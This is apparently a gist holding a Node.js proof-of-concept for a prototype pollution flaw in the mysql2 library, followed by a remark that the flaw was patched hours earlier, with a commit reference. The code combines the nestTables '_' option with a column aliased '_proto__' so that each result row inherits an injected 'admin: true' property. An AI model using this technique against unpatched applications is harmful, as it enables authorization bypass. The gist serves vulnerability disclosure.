gistfile1.txt

const mysql = require('mysql2');
const connection = mysql.createConnection({
  host: '127.0.0.1',
  user: 'root',
  database: 'test',
  password: 'root',
});
let query_data = {
  sql: `SELECT CAST('{"admin":true}' AS JSON)_proto__;`,
  nestTables: "_",
};
connection.query(query_data, (err, results) => {
  if (err) throw err;
  console.log(Object.getPrototypeOf(results[0]));
  console.log(results[0].admin);
});
connection.end();

6 hours ago they patched this vulnerability.
sidorares/node-mysql2@efe3db5